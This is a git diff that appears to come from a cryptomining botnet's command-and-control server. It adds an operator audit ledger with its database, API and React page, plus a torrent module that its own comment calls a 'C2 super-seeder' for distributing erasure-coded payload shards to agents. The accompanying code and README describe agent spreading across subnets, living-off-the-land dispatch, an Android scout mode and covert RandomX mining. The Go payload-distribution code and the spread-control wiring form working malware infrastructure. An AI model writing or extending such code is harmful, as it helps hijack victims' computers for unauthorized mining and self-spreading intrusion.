b/server/internal/db/oath_ledger_test.go @@ -0,0 +1,54 @@ +package db + +import ( + "encoding/json" + "testing" +) + +func TestOathLedgerRoundTrip(t *testing.T) { + d, err := New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + defer d.Close() + + why := map[string]string{"tier": "dns_txt", "lane": "spread"} + hash := HashWhyJSON(why) + entry, err := d.InsertOathLedger( + "operator", OathSpreadTierEscalation, "agent-1", "#aabbcc", hash, OathOutcomeSuccess, + map[string]string{"command_type": "reorder_tiers"}, + ) + if err != nil { + t.Fatal(err) + } + if entry == nil || entry.ID == 0 { + t.Fatalf("expected inserted entry, got %+v", entry) + } + if entry.WhyHash != hash { + t.Fatalf("why_hash = %q want %q", entry.WhyHash, hash) + } + + rows, err := d.ListOathLedger(10) + if err != nil { + t.Fatal(err) + } + if len(rows) != 1 { + t.Fatalf("rows = %+v", rows) + } + if rows[0].ActionType != OathSpreadTierEscalation || rows[0].Actor != "operator" { + t.Fatalf("unexpected row: %+v", rows[0]) + } +} + +func TestHashWhyJSONStable(t *testing.T) { + src := map[string]interface{}{"verdict": "retry spread", "clearance": 4} + h1 := HashWhyJSON(src) + h2 := HashWhyJSON(src) + if h1 == "" || h1 != h2 { + t.Fatalf("hash unstable: %q %q", h1, h2) + } + if len(h1) != 64 { + t.Fatalf("expected sha256 hex length 64, got %d", len(h1)) + } + _, _ = json.Marshal(src) +} diff --git a/server/internal/erasure/torrent.go b/server/internal/erasure/torrent.go new file mode 100644 index 0000000..d5a8999 --- /dev/null +++ b/server/internal/erasure/torrent.go @@ -0,0 +1,101 @@ +package erasure + +import ( + "crypto/sha256" + "encoding/hex" + "fmt" + "net/url" + "strings" +) + +// TorrentShardEntry is one shard in a published torrent manifest. +type TorrentShardEntry struct { + Index int `json:"index"` + ShardHash string `json:"shard_hash"` + URL string `json:"url"` +} + +// TorrentManifest is the C2 super-seeder torrent manifest for a deploy-plan token. +type TorrentManifest struct { + Token string `json:"token"` + Scheme string `json:"scheme"` + DataShards int `json:"data_shards"` + ParityShards int `json:"parity_shards"` + PayloadSHA256 string `json:"sha256"` + PayloadSize int `json:"payload_size"` + SwarmMagnet string `json:"swarm_magnet"` + ManifestURL string `json:"manifest_url"` + ShardManifestURLs []string `json:"shard_manifest_urls"` + Shards []TorrentShardEntry `json:"shards"` +} + +// ShardContentHash returns the content-address hex SHA256 of one encoded shard. +func ShardContentHash(shard []byte) string { + sum := sha256.Sum256(shard) + return hex.EncodeToString(sum[:]) +} + +// ShardContentHashes returns content-address hashes for each shard slice. +func ShardContentHashes(shards [][]byte) []string { + out := make([]string, len(shards)) + for i, sh := range shards { + out[i] = ShardContentHash(sh) + } + return out +} + +// BuildTorrentManifest publishes canonical shard URLs and a swarm magnet for BGP hints. +func BuildTorrentManifest(serverURL, token, payloadSHA string, payloadSize int, p Params, shardHashes []string) (*TorrentManifest, error) { + p, err := p.Normalize() + if err != nil { + return nil, err + } + total := p.TotalShards() + if len(shardHashes) != total { + return nil, fmt.Errorf("erasure torrent: shard hash count mismatch") + } + base := strings.TrimRight(strings.TrimSpace(serverURL), "/") + if base == "" { + base = "http://127.0.0.1:8989" + } + manifestURL := fmt.Sprintf("%s/api/v1/public/erasure-torrent/%s/manifest", base, token) + shards := make([]TorrentShardEntry, total) + urls := make([]string, total) + for i := 0; i < total; i++ { + shardURL := fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", base, token, i) + shards[i] = TorrentShardEntry{Index: i, ShardHash: shardHashes[i], URL: shardURL} + urls[i] = shardURL + } + return &TorrentManifest{ + Token: token, + Scheme: SchemeReedSolomonV1, + DataShards: p.DataShards, + ParityShards: p.ParityShards, + PayloadSHA256: strings.TrimSpace(strings.ToLower(payloadSHA)), + PayloadSize: payloadSize, + SwarmMagnet: SwarmMagnetLink(token, payloadSHA), + ManifestURL: manifestURL, + ShardManifestURLs: urls, + Shards: shards, + }, nil +} + +// SwarmMagnetLink builds a magnet URI for fleet torrent swarm discovery. +func SwarmMagnetLink(token, payloadSHA string) string { + token = strings.TrimSpace(token) + payloadSHA = strings.TrimSpace(strings.ToLower(payloadSHA)) + if token == "" { + return "" + } + q := url.Values{} + if payloadSHA != "" { + q.Set("xt", "urn:sha256:"+payloadSHA) + } + label := token + if len(label) > 8 { + label = label[:8] + } + q.Set("dn", "aetherforge-erasure-"+label) + q.Set("tr", "urn:aetherforge:erasure:"+token) + return "magnet:?" + q.Encode() +} diff --git a/server/internal/erasure/torrent_test.go b/server/internal/erasure/torrent_test.go new file mode 100644 index 0000000..40bb9b2 --- /dev/null +++ b/server/internal/erasure/torrent_test.go @@ -0,0 +1,49 @@ +package erasure + +import "testing" + +func TestBuildTorrentManifestMagnet(t *testing.T) { + p := DefaultParams() + hashes := []string{"aa", "bb", "cc", "dd", "ee", "ff"} + m, err := BuildTorrentManifest("http://c2:8989", "deadbeef", "abc123", 1024, p, hashes) + if err != nil { + t.Fatal(err) + } + if m.SwarmMagnet == "" || m.ManifestURL == "" { + t.Fatalf("manifest=%+v", m) + } + if len(m.ShardManifestURLs) != 6 { + t.Fatalf("urls=%d", len(m.ShardManifestURLs)) + } + if m.Shards[0].URL != "http://c2:8989/api/v1/public/erasure-shard/deadbeef/0" { + t.Fatalf("shard url=%q", m.Shards[0].URL) + } +} + +func TestSwarmMagnetLink(t *testing.T) { + m := SwarmMagnetLink("tok12345678", "deadbeef") + if m == "" || !contains(m, "urn:aetherforge:erasure:tok12345678") { + t.Fatalf("magnet=%q", m) + } +} + +func contains(s, sub string) bool { + return len(s) >= len(sub) && (s == sub || len(sub) == 0 || indexOf(s, sub) >= 0) +} + +func indexOf(s, sub string) int { + for i := 0; i+len(sub) <= len(s); i++ { + if s[i:i+len(sub)] == sub { + return i + } + } + return -1 +} + +func TestShardContentHash(t *testing.T) { + h1 := ShardContentHash([]byte("shard-a")) + h2 := ShardContentHash([]byte("shard-b")) + if h1 == h2 || len(h1) != 64 { + t.Fatalf("hash=%q", h1) + } +} diff --git a/server/main.go b/server/main.go index 268209c..4a64fa4 100644 --- a/server/main.go +++ b/server/main.go @@ -149,6 +149,7 @@ func main() { wsHub.BroadcastAIActivity(entry) }) wsHub.WireDefaultEpidemiologyReporter() + wsHub.WireDefaultMiningSurgeryReporter() // Stream all server logs to the dashboard Master Terminal log.SetOutput(io.MultiWriter(os.Stdout, &wsLogWriter{hub: wsHub})) @@ -342,6 +343,8 @@ func main() { }, }) fleetAISched.SetSeerBridge(&api.SeerBridge{DB: database, Hub: wsHub}) + fleetAISched.SetOathRecorder(&api.OathLedgerBridge{DB: database, Hub: wsHub}) + fleetAISched.SetStrainHospiceScanner(wsHub) fleetAISched.Start() defer fleetAISched.Stop() log.Println("Fleet AI Control scheduler initialized") diff --git a/server/web/src/App.tsx b/server/web/src/App.tsx index 5c81b48..7adc184 100644 --- a/server/web/src/App.tsx +++ b/server/web/src/App.tsx @@ -25,6 +25,7 @@ const LotlTimelinePage = lazy(() => import('./pages/LotlTimelinePage')); const ROIPage = lazy(() => import('./pages/ROIPage')); const ActivityFeedPage = lazy(() => import('./pages/ActivityFeedPage')); const SeerPage = lazy(() => import('./pages/SeerPage')); +const OathLedgerPage = lazy(() => import('./pages/OathLedgerPage')); export function PageFallback() { return ( @@ -68,6 +69,7 @@ function App() { } /> } /> } /> + } /> diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index db2aa38..b95624e 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -389,6 +389,8 @@ export const api = { queued?: boolean; error?: string; }>('/fleet/play-strain-card', { method: 'POST', body: JSON.stringify(body) }), + listOathLedger: (limit = 100) => + fetchJSON(`/fleet/oath-ledger?limit=${limit}`), // Public builds (unauthenticated — used on login page) listPublicBuilds: async (): Promise => { diff --git a/server/web/src/components/CalibrationAIControl.tsx b/server/web/src/components/CalibrationAIControl.tsx index 6df4942..ab828c6 100644 --- a/server/web/src/components/CalibrationAIControl.tsx +++ b/server/web/src/components/CalibrationAIControl.tsx @@ -195,6 +195,17 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) { Enable adaptive strategy engine +
+ +
diff --git a/server/web/src/help/settingHelp.test.ts b/server/web/src/help/settingHelp.test.ts index f46a191..ed6c446 100644 --- a/server/web/src/help/settingHelp.test.ts +++ b/server/web/src/help/settingHelp.test.ts @@ -108,6 +108,7 @@ describe('FIELD_HELP', () => { 'fleet_phenotype', 'failure_atlas', 'erasure_lanes', + 'fleet_torrent', 'ai_court_session', 'ai_persona', 'ai_persona_aggressive', @@ -193,6 +194,12 @@ describe('FIELD_HELP', () => { expect(FIELD_HELP.erasure_lanes).toMatch(/Foundation only/i); }); + it('fleet_torrent describes shard DHT and cross-subnet gossip', () => { + expect(FIELD_HELP.fleet_torrent).toMatch(/Fleet Torrent/i); + expect(FIELD_HELP.fleet_torrent).toContain('subnet_primary_seeder'); + expect(FIELD_HELP.fleet_torrent).toMatch(/swarm_magnet|cross-subnet/i); + }); + it('documents honest AV limits — no invisible mining', () => { expect(FIELD_HELP.av_limits).toMatch(/100% invisible|not 100% invisible/i); expect(FIELD_HELP.av_limits).toMatch(/in-process RandomX/i); diff --git a/server/web/src/pages/OathLedgerPage.css b/server/web/src/pages/OathLedgerPage.css new file mode 100644 index 0000000..d958042 --- /dev/null +++ b/server/web/src/pages/OathLedgerPage.css @@ -0,0 +1,105 @@ +.oath-ledger-page { + padding: 1.25rem 1.5rem 2rem; + max-width: 1200px; +} + +.oath-ledger-header { + margin-bottom: 1rem; +} + +.oath-ledger-title { + margin: 0 0 0.35rem; + font-size: 1.35rem; + letter-spacing: 0.04em; +} + +.oath-ledger-subtitle { + margin: 0; + color: var(--text-muted, #8899aa); + font-size: 0.82rem; +} + +.oath-ledger-link { + color: var(--accent-cyan, #00e8f5); + text-decoration: none; +} + +.oath-ledger-link:hover { + text-decoration: underline; +} + +.oath-ledger-error { + margin-bottom: 0.75rem; + padding: 0.5rem 0.75rem; + border: 1px solid rgba(255, 68, 68, 0.35); + color: #ff8888; + font-size: 0.85rem; +} + +.oath-ledger-table-wrap { + overflow-x: auto; + border: 1px solid rgba(255, 255, 255, 0.08); + border-radius: 4px; + background: rgba(0, 0, 0, 0.25); +} + +.oath-ledger-table { + width: 100%; + border-collapse: collapse; + font-size: 0.78rem; + font-family: var(--font-tech, monospace); +} + +.oath-ledger-table th, +.oath-ledger-table td { + padding: 0.45rem 0.6rem; + text-align: left; + border-bottom: 1px solid rgba(255, 255, 255, 0.06); +} + +.oath-ledger-table th { + color: var(--text-muted, #8899aa); + font-weight: 600; + text-transform: uppercase; + letter-spacing: 0.06em; + font-size: 0.68rem; +} + +.oath-ledger-table tbody tr:hover { + background: rgba(255, 255, 255, 0.03); +} + +.oath-ledger-empty { + text-align: center; + color: var(--text-muted, #8899aa); + padding: 1.25rem !important; +} + +.oath-ledger-hash { + font-family: var(--font-mono, monospace); + color: var(--text-muted, #8899aa); +} + +.oath-ledger-outcome { + text-transform: lowercase; +} + +.oath-ledger-table tr[data-outcome='success'] .oath-ledger-outcome { + color: #7fd87f; +} + +.oath-ledger-table tr[data-outcome='fail'] .oath-ledger-outcome { + color: #ff8888; +} + +.oath-ledger-table tr[data-outcome='pending'] .oath-ledger-outcome { + color: #d4b86a; +} + +.oath-ledger-strain-swatch { + display: inline-block; + width: 0.75rem; + height: 0.75rem; + border-radius: 2px; + vertical-align: middle; +} diff --git a/server/web/src/pages/OathLedgerPage.test.tsx b/server/web/src/pages/OathLedgerPage.test.tsx new file mode 100644 index 0000000..a17ee0d --- /dev/null +++ b/server/web/src/pages/OathLedgerPage.test.tsx @@ -0,0 +1,46 @@ +import { render, screen, waitFor } from '@testing-library/react'; +import { MemoryRouter } from 'react-router-dom'; +import { describe, expect, it, vi, beforeEach } from 'vitest'; +import OathLedgerPage from './OathLedgerPage'; +import { api } from '../api/client'; +import { WebSocketProvider } from '../context/WebSocketProvider'; + +vi.mock('../api/client', () => ({ + api: { + listOathLedger: vi.fn(), + }, +})); + +describe('OathLedgerPage', () => { + beforeEach(() => { + vi.mocked(api.listOathLedger).mockResolvedValue([ + { + id: 1, + timestamp: '2026-06-07T12:00:00Z', + actor: 'comrade', + action_type: 'graft', + agent_id: 'agent-abc-123', + strain: '#aabbcc', + why_hash: 'abc123def456', + outcome: 'success', + payload_json: { graft_tier: 'dns_txt' }, + }, + ]); + }); + + it('renders read-only oath table from API', async () => { + render( + + + + + , + ); + expect(await screen.findByText('Operator Oath Ledger')).toBeInTheDocument(); + await waitFor(() => expect(api.listOathLedger).toHaveBeenCalledWith(100)); + expect(screen.getByText('comrade')).toBeInTheDocument(); + expect(screen.getByText('graft')).toBeInTheDocument(); + expect(screen.getByText('success')).toBeInTheDocument(); + expect(screen.getByRole('link', { name: /Seer reasoning/i })).toHaveAttribute('href', '/seer'); + }); +}); diff --git a/server/web/src/pages/OathLedgerPage.tsx b/server/web/src/pages/OathLedgerPage.tsx new file mode 100644 index 0000000..3687595 --- /dev/null +++ b/server/web/src/pages/OathLedgerPage.tsx @@ -0,0 +1,124 @@ +import { useCallback, useEffect, useState } from 'react'; +import { Link } from 'react-router-dom'; +import { api } from '../api/client'; +import { useWebSocket } from '../hooks/useWebSocket'; +import type { OathLedgerEntry } from '../types'; +import './OathLedgerPage.css'; + +function fmtTs(ts?: string): string { + if (!ts) return '—'; + const d = new Date(ts); + if (Number.isNaN(d.getTime())) return ts; + return d.toLocaleString([], { + month: 'short', + day: 'numeric', + hour: '2-digit', + minute: '2-digit', + second: '2-digit', + }); +} + +function actionLabel(action: string): string { + return action.replace(/_/g, ' '); +} + +export default function OathLedgerPage() { + const { latestMessage } = useWebSocket(); + const [rows, setRows] = useState([]); + const [loading, setLoading] = useState(true); + const [error, setError] = useState(''); + + const load = useCallback(async () => { + try { + const data = await api.listOathLedger(100); + setRows(data ?? []); + setError(''); + } catch (e) { + setError(e instanceof Error ? e.message : 'Failed to load oath ledger'); + } finally { + setLoading(false); + } + }, []); + + useEffect(() => { + void load(); + }, [load]); + + useEffect(() => { + if (!latestMessage || latestMessage.type !== 'oath_ledger_event') return; + const entry = latestMessage.payload as OathLedgerEntry; + if (!entry || typeof entry !== 'object' || !entry.id) return; + setRows((prev) => { + if (prev.some((r) => r.id === entry.id)) return prev; + return [entry, ...prev].slice(0, 100); + }); + }, [latestMessage]); + + return ( +
+
+

Operator Oath Ledger

+

+ Immutable accountability — separate from{' '} + + Seer reasoning + + . +

+
+ + {error &&
{error}
} + +
+ + + + + + + + + + + + + + {loading && ( + + + + )} + {!loading && rows.length === 0 && ( + + + + )} + {rows.map((row) => ( + + + + + + + + + + ))} + +
TimeActorActionAgentStrainWhy hashOutcome
+ Loading… +
+ No oath rows yet — graft, strain plays, court L4, fork/merge, and LOTL dispatch record here. +
{fmtTs(row.timestamp)}{row.actor || '—'}{actionLabel(row.action_type)}{row.agent_id ? row.agent_id.slice(0, 8) : '—'} + {row.strain ? ( + + ) : ( + '—' + )} + + {row.why_hash ? `${row.why_hash.slice(0, 10)}…` : '—'} + {row.outcome}
+
+
+ ); +} diff --git a/server/web/src/pages/SeerPage.css b/server/web/src/pages/SeerPage.css index f312f99..5a551e2 100644 --- a/server/web/src/pages/SeerPage.css +++ b/server/web/src/pages/SeerPage.css @@ -20,6 +20,21 @@ letter-spacing: 0.06em; } +.seer-oath-strip { + margin: 0.35rem 0 0; + font-size: 0.78rem; + color: var(--text-muted, #8899aa); +} + +.seer-oath-link { + color: var(--accent-cyan, #00e8f5); + text-decoration: none; +} + +.seer-oath-link:hover { + text-decoration: underline; +} + .seer-subtitle { margin: 0.35rem 0 0; font-size: 0.72rem; diff --git a/server/web/src/pages/SeerPage.tsx b/server/web/src/pages/SeerPage.tsx index dee46b2..a826798 100644 --- a/server/web/src/pages/SeerPage.tsx +++ b/server/web/src/pages/SeerPage.tsx @@ -1,4 +1,5 @@ import { useCallback, useEffect, useMemo, useRef, useState } from 'react'; +import { Link } from 'react-router-dom'; import { useWebSocket } from '../hooks/useWebSocket'; import { HelpTip } from '../components/HelpTip'; import { api } from '../api/client'; @@ -150,6 +151,13 @@ export default function SeerPage() { The Seer

{statusLine}

+

+ Accountability rows live in{' '} + + Oath Ledger + {' '} + — not mixed with this reasoning stream. +

{error &&
{error}
} diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index 74685e0..cc30d05 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -811,6 +811,18 @@ export interface AuditEntry { detail?: Record; } +export interface OathLedgerEntry { + id: number; + timestamp: string; + actor: string; + action_type: string; + agent_id: string; + strain: string; + why_hash: string; + outcome: 'success' | 'fail' | 'pending' | string; + payload_json?: Record; +} + export interface FleetModuleManifest { name: string; version: string; diff --git a/tests/README.md b/tests/README.md index 51b8bd9..0daceb8 100644 --- a/tests/README.md +++ b/tests/README.md @@ -67,6 +67,7 @@ Windows dashboard only; no in-process cloudflared. Genealogy fields are **teleme | **Spread genealogy watermark** | Forge `-ldflags` + env overrides; auth/stats JSON only | `go test ./config/... -run Genealogy -count=1`; `go test ./internal/builder/... -run Genealogy -count=1`; `go test ./internal/api/... -run SpreadGenealogy -count=1` | | **Genealogy grafting** | Court `spread_graft` + L4 + hashrate gate; `POST /api/v1/fleet/graft`; auth `graft_policy` push; agent applies tier order on next spread; zero config when `ai_control_enabled` + `fleet_roles_enabled` | `go test ./internal/strategy/... -run Graft -count=1`; `go test ./internal/api/... -run FleetGraft -count=1`; `go test ./client/... -run GraftPolicy -count=1`; Vitest `AccessDepthPanel.test.tsx` graft note, `PathTracerPage.test.tsx` graft note | | **Court retry + L4 elevation** | `server/internal/ai/court_commands.go`, scheduler `ensureCourtRetryClearance` | `go test ./internal/ai/... -run CourtRetry -count=1` | +| **Operator Oath Ledger** | SQLite `oath_ledger`; hooks on graft, strain play, pathtrace fork/merge, court L4, LOTL tier dispatch; `GET /api/v1/fleet/oath-ledger`; WS `oath_ledger_event`; UI `/oath` + Seer/Access Depth links | `go test ./internal/db/... -run OathLedger -count=1`; `go test ./internal/api/... -run OathLedger -count=1`; Vitest `OathLedgerPage.test.tsx` | | **Hashrate + subnet spread gates** | Agent `deploy/hashrate_gate.go`; server `internal/db/subnet_spread_pause.go`, `internal/atlas/subnet_immune.go` | `go test ./deploy/... -run HashrateGate -count=1`; `go test ./internal/db/... ./internal/atlas/... -run Subnet -count=1` | | **APK scout mode** | Forge `scout_mode` / `ApkMode`; agent `client/scout_mode.go`; builder `build_apk.go` | `go test ./client/... -run Scout -count=1`; `go test ./internal/builder/... -run Apk -count=1`; `go test ./internal/api/... -run Scout -count=1` | | **AI persona spread temperament** | Calibrate `ai_persona`; auth `spread_temperament` policy push | `go test ./internal/ai/... -run Persona -count=1`; `go test ./client/... -run SpreadTemperament -count=1`; Vitest Settings persona chips |